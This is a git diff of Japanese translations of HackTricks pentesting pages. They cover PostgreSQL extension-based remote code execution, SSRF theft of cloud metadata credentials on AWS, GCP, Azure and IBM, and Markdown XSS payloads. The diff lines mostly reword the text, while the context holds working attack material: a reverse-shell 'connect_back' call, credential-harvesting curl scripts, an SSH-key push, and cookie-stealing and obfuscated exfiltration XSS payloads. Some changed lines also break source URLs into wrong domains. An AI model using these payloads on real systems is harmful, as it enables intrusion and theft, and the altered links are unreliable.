CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
このエラーは[PostgreSQLのドキュメント](https://www.postgresql.org/docs/current/static/xfunc-c.html)で説明されています:
|
||||
|
||||
> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つ(そして1つだけ)に次のように記述します:
|
||||
> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないように、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つ(そして1つだけ)に次のように記述します:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
@ -258,15 +258,15 @@ PG_RETURN_INT32(arg + 1);
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
[PolyUDFプロジェクト](https://github.com/rop-la/PolyUDF)は、完全なMS Visual Studioプロジェクトと、マルチバージョンサポートを含む使用可能なライブラリ(_command eval_、_exec_、_cleanup_を含む)を備えた良い出発点です。
|
||||
[PolyUDFプロジェクト](https://github.com/rop-la/PolyUDF)は、完全なMS Visual Studioプロジェクトと、マルチバージョンサポートを含む使用可能なライブラリ(_command eval_、_exec_、_cleanup_を含む)を提供する良い出発点です。
|
||||
|
||||
### 最新のPostgreSQLバージョンにおけるRCE
|
||||
|
||||
**最新のバージョン**のPostgreSQLでは、`superuser`が特定のディレクトリ(Windowsでは`C:\Program Files\PostgreSQL\11\lib`、\*nixシステムでは`/var/lib/postgresql/11/lib`など)以外から共有ライブラリファイルを**ロード**することが**禁止**されています。これらのディレクトリは、NETWORK_SERVICEまたはpostgresアカウントによる書き込み操作から**保護**されています。
|
||||
**最新のバージョン**のPostgreSQLでは、`superuser`が特定のディレクトリ(Windowsでは`C:\Program Files\PostgreSQL\11\lib`、\*nixシステムでは`/var/lib/postgresql/11/lib`など)以外から共有ライブラリファイルを**ロードすることが禁止**されています。これらのディレクトリは、NETWORK_SERVICEまたはpostgresアカウントによる書き込み操作から**保護**されています。
|
||||
|
||||
これらの制限にもかかわらず、認証されたデータベースの`superuser`は「大きなオブジェクト」を使用してファイルシステムに**バイナリファイル**を書き込むことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内での書き込みにも及びます。
|
||||
これらの制限にもかかわらず、認証されたデータベースの`superuser`は「大きなオブジェクト」を使用してファイルシステムに**バイナリファイルを書き込む**ことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内での書き込みにも及びます。
|
||||
|
||||
重要な脆弱性は、`CREATE FUNCTION`コマンドから生じます。このコマンドはデータディレクトリへの**ディレクトリトラバーサル**を**許可**します。したがって、認証された攻撃者はこのトラバーサルを**悪用**してデータディレクトリに共有ライブラリファイルを書き込み、その後**ロード**することができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。
|
||||
重大な脆弱性は、`CREATE FUNCTION`コマンドから生じます。このコマンドはデータディレクトリへの**ディレクトリトラバーサルを許可**します。その結果、認証された攻撃者はこのトラバーサルを**悪用して**データディレクトリに共有ライブラリファイルを書き込み、次にそれを**ロード**することができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。
|
||||
|
||||
#### 攻撃フロー
|
||||
|
||||
@ -276,16 +276,16 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
|
||||
big-binary-files-upload-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
拡張機能(この例ではpoc.dllという名前)をデータディレクトリにアップロードしたら、次のようにしてロードできます:
|
||||
拡張機能(この例ではpoc.dllという名前)をデータディレクトリにアップロードしたら、次のようにしてそれをロードできます:
|
||||
```c
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_注意:create関数が拡張子`.dll`を追加するため、付加する必要はありません。_
|
||||
|
||||
詳細については、**[こちらの元の出版物をお読みください](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。\
|
||||
その出版物では、**[postgres拡張を生成するために使用されたコード](https://github.com/sourceincite/tools/blob/master/pgpwn.c)**が示されています(_postgres拡張をコンパイルする方法を学ぶには、以前のバージョンのいずれかをお読みください_)。\
|
||||
同じページには、この技術を自動化するための**エクスプロイト**が示されています:
|
||||
詳細については、**[こちらの元の出版物を読んでください](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。\
|
||||
その出版物では、**これがpostgres拡張を生成するために使用された**[**コードです**](https://github.com/sourcein/tools/blob/master/pgpwn.c)(_postgres拡張をコンパイルする方法を学ぶには、以前のバージョンのいずれかを読んでください_)。\
|
||||
同じページには、この技術を自動化するための**エクスプロイトが提供されました**:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
|
@ -6,16 +6,16 @@
|
||||
|
||||
### AWS EC2環境におけるSSRFの悪用
|
||||
|
||||
**メタデータ**エンドポイントは、任意のEC2マシン内からアクセスでき、興味深い情報を提供します。URLは`http://169.254.169.254`でアクセス可能です([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
**メタデータ**エンドポイントは、任意のEC2マシン内からアクセス可能で、興味深い情報を提供します。URLは`http://169.254.169.254`でアクセスできます([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
|
||||
メタデータエンドポイントには**2つのバージョン**があります。**最初の**ものは、**GET**リクエストを介してエンドポイントに**アクセス**することを許可します(したがって、**SSRFがこれを悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**トークン**を要求するために**PUT**リクエストを送信し、**HTTPヘッダー**を使用してそのトークンを使ってメタデータにアクセスする必要があります(したがって、**SSRFで悪用するのがより複雑です**)。
|
||||
メタデータエンドポイントには**2つのバージョン**があります。**最初の**ものは、**GET**リクエストを介してエンドポイントに**アクセス**することを許可します(したがって、**SSRFがこれを悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**トークン**を要求するために**PUT**リクエストを送信し、**HTTPヘッダー**を使用して、そのトークンを使って別のHTTPヘッダーでメタデータにアクセスする必要があります(したがって、**SSRFで悪用するのがより複雑です**)。
|
||||
|
||||
> [!CAUTION]
|
||||
> EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**は**ホップ制限が1**となり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。
|
||||
>
|
||||
> さらに、**IMDSv2**は、`X-Forwarded-For`ヘッダーを含むトークンを取得するためのリクエストも**ブロックします**。これは、誤って構成されたリバースプロキシがアクセスできないようにするためです。
|
||||
|
||||
[メタデータエンドポイントに関する情報はドキュメントにあります](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。次のスクリプトでは、そこからいくつかの興味深い情報が取得されます:
|
||||
[メタデータエンドポイントに関する情報はドキュメントにあります](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。以下のスクリプトでは、そこからいくつかの興味深い情報が取得されます:
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
@ -79,7 +79,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
|
||||
|
||||
また、次のリンクで公開されている**EC2セキュリティ資格情報**を確認できます: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
その後、**これらの資格情報をAWS CLIで使用することができます**。これにより、**そのロールが持つ権限で何でも行うことができます**。
|
||||
その後、**これらの資格情報をAWS CLIで使用する**ことができます。これにより、**そのロールが持つ権限**で何でも行うことができます。
|
||||
|
||||
新しい資格情報を利用するには、次のように新しいAWSプロファイルを作成する必要があります:
|
||||
```
|
||||
@ -94,7 +94,7 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
||||
|
||||
### AWS ECS (コンテナサービス) のSSRF資格情報
|
||||
|
||||
**ECS**は、アプリケーションを実行するためのEC2インスタンスの論理グループであり、ECSがそれを管理するため、自分自身のクラスター管理インフラをスケールする必要はありません。**ECS**で実行されているサービスを侵害することに成功すれば、**メタデータエンドポイントが変更されます**。
|
||||
**ECS**は、アプリケーションを実行するためのEC2インスタンスの論理グループであり、ECSがそれを管理するため、自分自身のクラスター管理インフラをスケールさせる必要はありません。**ECS**で実行されているサービスを侵害することに成功すれば、**メタデータエンドポイントが変更されます**。
|
||||
|
||||
_**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。しかし、まずは**\<GUID>**を見つける必要があります。\<GUID>を見つけるには、マシン内の**environ**変数**AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**を読み取る必要があります。\
|
||||
**Path Traversal**を利用して`file:///proc/self/environ`を読み取ることができるかもしれません。\
|
||||
@ -102,10 +102,10 @@ _**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECS
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
> [!NOTE]
|
||||
> 注意してください、**いくつかのケース**では、コンテナから**EC2メタデータインスタンス**にアクセスできる場合があります(前述のIMDSv2 TTL制限を確認してください)。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。
|
||||
> [!TIP]
|
||||
> **いくつかのケース**では、コンテナから**EC2メタデータインスタンス**にアクセスできることに注意してください(前述のIMDSv2 TTL制限を確認してください)。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。
|
||||
|
||||
### SSRF for AWS Lambda
|
||||
### AWS LambdaのSSRF
|
||||
|
||||
この場合、**資格情報は環境変数に保存されています**。したがって、それらにアクセスするには、**`file:///proc/self/environ`**のようなものにアクセスする必要があります。
|
||||
|
||||
@ -115,12 +115,12 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
||||
- `AWS_SECRET_ACCESS_KEY`
|
||||
- `AWS_ACCES_KEY_ID`
|
||||
|
||||
さらに、IAM資格情報に加えて、Lambda関数には**関数が開始されるときに関数に渡されるイベントデータ**もあります。このデータは、[runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)を介して関数に提供され、**機密**の**情報**(**stageVariables**内のような)を含む可能性があります。IAM資格情報とは異なり、このデータは標準のSSRFを介して**`http://localhost:9001/2018-06-01/runtime/invocation/next`**でアクセス可能です。
|
||||
さらに、IAM資格情報に加えて、Lambda関数には**関数が開始されるときに関数に渡されるイベントデータ**もあります。このデータは[ランタイムインターフェース](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)を介して関数に提供され、**機密**の**情報**(**stageVariables**内のような)を含む可能性があります。IAM資格情報とは異なり、このデータは標準のSSRFを介して**`http://localhost:9001/2018-06-01/runtime/invocation/next`**でアクセス可能です。
|
||||
|
||||
> [!WARNING]
|
||||
> **lambda資格情報**は**環境変数**内にあります。したがって、lambdaコードの**スタックトレース**が環境変数を印刷する場合、アプリでエラーを引き起こすことによって**それらを流出させる**可能性があります。
|
||||
|
||||
### SSRF URL for AWS Elastic Beanstalk
|
||||
### AWS Elastic BeanstalkのSSRF URL
|
||||
|
||||
APIから`accountId`と`region`を取得します。
|
||||
```
|
||||
@ -143,9 +143,9 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
||||
|
||||
HTTPヘッダー**`Metadata-Flavor: Google`**が必要で、次のURLでメタデータエンドポイントにアクセスできます:
|
||||
|
||||
- http://169.254.169.254
|
||||
- http://metadata.google.internal
|
||||
- http://metadata
|
||||
- [http://169.254.169.254](http://169.254.169.254)
|
||||
- [http://metadata.google.internal](http://metadata.google.internal)
|
||||
- [http://metadata](http://metadata)
|
||||
|
||||
情報を抽出するための興味深いエンドポイント:
|
||||
```bash
|
||||
@ -262,7 +262,7 @@ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXX
|
||||
"access_type": "offline"
|
||||
}
|
||||
```
|
||||
今すぐSSHキーをプッシュしてください。
|
||||
SSHキーをプッシュします。
|
||||
```bash
|
||||
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
||||
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
||||
@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
||||
```
|
||||
### Cloud Functions
|
||||
|
||||
メタデータエンドポイントは、VMと同様に機能しますが、一部のエンドポイントがありません:
|
||||
メタデータエンドポイントは、VMと同様に機能しますが、一部のエンドポイントがありません:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
@ -319,50 +319,50 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
|
||||
[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
|
||||
- **必須**: ヘッダー `Metadata: true` を含む
|
||||
- **必須** ヘッダー `Metadata: true` を含む
|
||||
- `X-Forwarded-For` ヘッダーを **含まないこと**
|
||||
|
||||
> [!TIP]
|
||||
> Azure VM には 1 つのシステム管理アイデンティティと複数のユーザー管理アイデンティティをアタッチできます。これは基本的に、**VM にアタッチされたすべての管理アイデンティティを偽装できる**ことを意味します。
|
||||
>
|
||||
> メタデータエンドポイントにアクセス トークンをリクエストする際、デフォルトではメタデータサービスは**システム割り当て管理アイデンティティ**を使用してトークンを生成します。システム割り当て管理アイデンティティが存在する場合です。もし**1 つのユーザー割り当て管理アイデンティティ**しかない場合は、これがデフォルトで使用されます。しかし、システム割り当て管理アイデンティティが存在せず、**複数のユーザー割り当て管理アイデンティティ**がある場合、メタデータサービスは複数の管理アイデンティティがあることを示すエラーを返し、**どれを使用するかを指定する必要があります**。
|
||||
> メタデータエンドポイントにアクセス トークンをリクエストする際、デフォルトではメタデータサービスは **システム割り当て管理アイデンティティ** を使用してトークンを生成します。システム割り当て管理アイデンティティが存在する場合です。もし **1 つのユーザー割り当て管理アイデンティティ** しかない場合は、これがデフォルトで使用されます。しかし、システム割り当て管理アイデンティティが存在せず、**複数のユーザー割り当て管理アイデンティティ** がある場合、メタデータサービスは複数の管理アイデンティティがあることを示すエラーを返し、**どれを使用するかを指定する必要があります**。
|
||||
>
|
||||
> 残念ながら、VM にアタッチされたすべての MI を示すメタデータエンドポイントを見つけることができなかったため、Red Team の観点から VM に割り当てられたすべての管理アイデンティティを見つけることは難しい作業になる可能性があります。
|
||||
>
|
||||
> したがって、アタッチされたすべての MI を見つけるには、次のことを行うことができます:
|
||||
>
|
||||
> - **az cli を使用してアタッチされたアイデンティティを取得**(すでに Azure テナント内のプリンシパルを侵害している場合)
|
||||
> - **az cli** を使用して **アタッチされたアイデンティティを取得** (Azure テナント内で既にプリンシパルを侵害している場合)
|
||||
>
|
||||
> ```bash
|
||||
> az vm identity show \
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> ```
|
||||
>
|
||||
> - メタデータ内のデフォルトのアタッチ MI を使用して**アタッチされたアイデンティティを取得**:
|
||||
> - メタデータ内のデフォルトのアタッチ MI を使用して **アタッチされたアイデンティティを取得**:
|
||||
>
|
||||
> ```bash
|
||||
> export API_VERSION="2021-12-13"
|
||||
>
|
||||
> # デフォルト MI からトークンを取得
|
||||
> export TOKEN=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
>
|
||||
> # 必要な詳細を取得
|
||||
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
>
|
||||
> # アタッチされた MIs を取得しようとする
|
||||
> curl -s -H "Authorization: Bearer $TOKEN" \
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> ```
|
||||
>
|
||||
> - テナント内の**すべての**定義された管理アイデンティティを取得し、**ブルートフォース**して VM にアタッチされているか確認:
|
||||
> - テナント内で定義されたすべての管理アイデンティティを **取得し**、どれかが VM にアタッチされているかを **ブルートフォース** で確認:
|
||||
>
|
||||
> ```bash
|
||||
> az identity list
|
||||
@ -427,6 +427,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!WARNING]
|
||||
> エンドポイント **`http://169.254.169.254/metadata/v1/instanceinfo` は `Metadata: True` ヘッダーを必要としません** これは、ヘッダーを追加できないAzureのSSRF脆弱性において影響を示すのに最適です。
|
||||
|
||||
### Azure App & Functions Services & Automation Accounts
|
||||
|
||||
**env** から **`IDENTITY_HEADER`** と **`IDENTITY_ENDPOINT`** の値を取得できます。これを使用してメタデータサーバーと通信するためのトークンを取得します。
|
||||
@ -439,7 +442,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
- [https://management.azure.com](https://management.azure.com/)
|
||||
|
||||
> [!CAUTION]
|
||||
> トークンリクエストでは、`object_id`、`client_id`、または `msi_res_id` のいずれかのパラメータを使用して、使用したいマネージドアイデンティティを指定します([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。指定がない場合、**デフォルトのMIが使用されます**。
|
||||
> トークンリクエストでは、`object_id`、`client_id`、または `msi_res_id` のいずれかのパラメータを使用して、使用したいマネージドアイデンティティを指定してください([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。指定がない場合、**デフォルトのMIが使用されます**。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Bash"}}
|
||||
@ -524,7 +527,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
|
||||
## IBM Cloud
|
||||
|
||||
> [!WARNING]
|
||||
> IBMではデフォルトでメタデータが有効になっていないため、IBMクラウドVM内にいてもアクセスできない可能性があることに注意してください。
|
||||
> IBMではデフォルトでメタデータが有効になっていないため、IBMクラウドVM内にいてもアクセスできない可能性があります。
|
||||
```bash
|
||||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||||
-H "Metadata-Flavor: ibm"\
|
||||
@ -548,7 +551,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
||||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
さまざまなプラットフォームのメタデータサービスに関するドキュメントは以下に示されており、インスタンスの構成および実行時情報にアクセスする方法が強調されています。各プラットフォームは、メタデータサービスにアクセスするためのユニークなエンドポイントを提供しています。
|
||||
以下に、さまざまなプラットフォームのメタデータサービスに関するドキュメントを示し、インスタンスの構成および実行時情報にアクセスする方法を強調します。各プラットフォームは、メタデータサービスにアクセスするためのユニークなエンドポイントを提供しています。
|
||||
|
||||
## Packetcloud
|
||||
|
||||
@ -568,7 +571,7 @@ Packetcloudのメタデータにアクセスするためのドキュメントは
|
||||
|
||||
## Oracle Cloud
|
||||
|
||||
Oracle Cloudは、さまざまなメタデータの側面にアクセスするための一連のエンドポイントを提供しています:
|
||||
Oracle Cloudは、さまざまなメタデータの側面にアクセスするための一連のエンドポイントを提供します:
|
||||
|
||||
- `http://192.0.0.192/latest/`
|
||||
- `http://192.0.0.192/latest/user-data/`
|
||||
@ -596,7 +599,7 @@ Dockerメタデータにはローカルでアクセスでき、コンテナお
|
||||
|
||||
- Dockerソケットを介してコンテナとイメージのメタデータにアクセスするためのシンプルな例:
|
||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
- コンテナ内で、Dockerソケットを使用してcurlを使います:
|
||||
- コンテナ内で、Dockerソケットを使用してcurlを実行します:
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
もしマークダウンにコードを注入する機会があれば、コードが解釈されるときにXSSをトリガーするために使用できるいくつかのオプションがあります。
|
||||
|
||||
### HTML tags
|
||||
### HTMLタグ
|
||||
|
||||
マークダウンでXSSを取得する最も一般的な方法は、javascriptを実行する一般的なHTMLタグを注入することです。なぜなら、いくつかのマークダウンインタープリターはHTMLも受け入れるからです。
|
||||
```html
|
||||
@ -14,11 +14,11 @@ alert(1)
|
||||
</script>
|
||||
<img src="x" onerror="alert(1)" />
|
||||
```
|
||||
より多くの例は[hacktricksのメインXSSページ](README.md)で見つけることができます。
|
||||
より多くの例は[main XSS page of hacktricks](README.md)で見つけることができます。
|
||||
|
||||
### Javascriptリンク
|
||||
|
||||
HTMLタグが選択肢でない場合は、常にマークダウン構文で遊んでみることができます:
|
||||
HTMLタグが選択肢でない場合は、常にmarkdown構文で遊んでみることができます:
|
||||
```html
|
||||
<!-- markdow link to XSS, this usually always work but it requires interaction -->
|
||||
[a](javascript:prompt(document.cookie))
|
||||
@ -42,7 +42,7 @@ t:prompt(document.cookie))
|
||||
```
|
||||
### HTML Sanitiser Markdown Bypass
|
||||
|
||||
次のコードは**HTML入力をサニタイズ**し、その後**Markdownパーサーに渡しています**。その後、XSSはMarkdownとDOMPurifyの間の誤解を利用してトリガーされる可能性があります。
|
||||
次のコードは**HTML入力をサニタイズ**し、その後**Markdownパーサーに渡します**。その後、XSSはMarkdownとDOMPurifyの間の誤解を利用してトリガーされる可能性があります。
|
||||
```html
|
||||
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
||||
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
|
||||
```html
|
||||
<!--
|
||||
Fuzzing examples from
|
||||
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
|
||||
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
|
||||
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
|
||||
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
|
||||
-->
|
||||
|
||||
[a](javascript:prompt(document.cookie))
|
||||
@ -97,7 +97,7 @@ Fuzzing examples from
|
||||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||
[a](javascript:alert('XSS'))
|
||||
\
|
||||
[citelol]: (javascript:prompt(document.cookie))
|
||||
[lol]: (javascript:prompt(document.cookie))
|
||||
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
||||
[test](javascript://%0d%0aprompt(1))
|
||||
[test](javascript://%0d%0aprompt(1);com)
|
||||
|
@ -7,15 +7,15 @@
|
||||
> [!TIP]
|
||||
> これらは**HackTricksプロジェクトの価値**です:
|
||||
>
|
||||
> - **すべての**インターネットに**無料**で**教育的なハッキング**リソースを提供します。
|
||||
> - ハッキングは学ぶことに関するものであり、学ぶことはできるだけ無料であるべきです。
|
||||
> - この本の目的は、包括的な**教育リソース**として機能することです。
|
||||
> - コミュニティが公開した素晴らしい**ハッキング**技術を**保存**し、**元の****著者**にすべての**クレジット**を与えます。
|
||||
> - **他の人からのクレジットは必要ありません**、私たちはただ皆のためにクールなトリックを保存したいだけです。
|
||||
> - 私たちはまた、HackTricksで**自分たちの研究**を書きます。
|
||||
> - いくつかのケースでは、**HackTricksに技術の重要な部分の要約を書き**、**詳細については元の投稿を訪れることを読者に勧めます**。
|
||||
> - **すべての**インターネットに**教育的ハッキング**リソースへの**無料**アクセスを提供します。
|
||||
> - ハッキングは学ぶことに関するものであり、学ぶことはできるだけ自由であるべきです。
|
||||
> - この本の目的は、包括的な**教育リソース**として機能することです。
|
||||
> - コミュニティが公開する素晴らしい**ハッキング**技術を**保存**し、**元の****著者**にすべての**クレジット**を与えます。
|
||||
> - **他の人からのクレジットは必要ありません**、私たちはただ皆のためにクールなトリックを保存したいだけです。
|
||||
> - 私たちはHackTricksで**自分たちの研究**も書きます。
|
||||
> - いくつかのケースでは、技術の重要な部分の**要約をHackTricksに書き**、**詳細については元の投稿を訪れることを読者に勧めます**。
|
||||
> - 本の中のすべてのハッキング技術を**整理**して、**よりアクセスしやすく**します。
|
||||
> - HackTricksチームは、人々が**より早く学べるように**コンテンツを**整理するためだけに**何千時間も無料で捧げてきました。
|
||||
> - HackTricksチームは、人々が**より早く学べるように**コンテンツを**整理するためだけに**何千時間も無料で捧げています。
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -23,17 +23,17 @@
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **これらのリソースに感謝します、どうやって感謝すればいいですか?**
|
||||
> - **これらのリソースに感謝します、どうやってお礼を言えますか?**
|
||||
|
||||
HackTricksチームに感謝の意を表するには、[**@hacktricks_live**](https://twitter.com/hacktricks_live)をメンションしてツイートすることができます。\
|
||||
特に感謝している場合は、[**ここでプロジェクトを支援することもできます**](https://github.com/sponsors/carlospolop).\
|
||||
HackTricksチームに感謝の意を表すには、[**@hacktricks_live**](https://twitter.com/hacktricks_live)をメンションしてツイートで公開することができます。\
|
||||
特に感謝している場合は、[**ここでプロジェクトを支援することもできます**](https://github.com/sponsors/carlospolop)。\
|
||||
そして、**Githubプロジェクトにスターを付けるのを忘れないでください!**(リンクは下にあります)。
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **プロジェクトにどのように貢献できますか?**
|
||||
|
||||
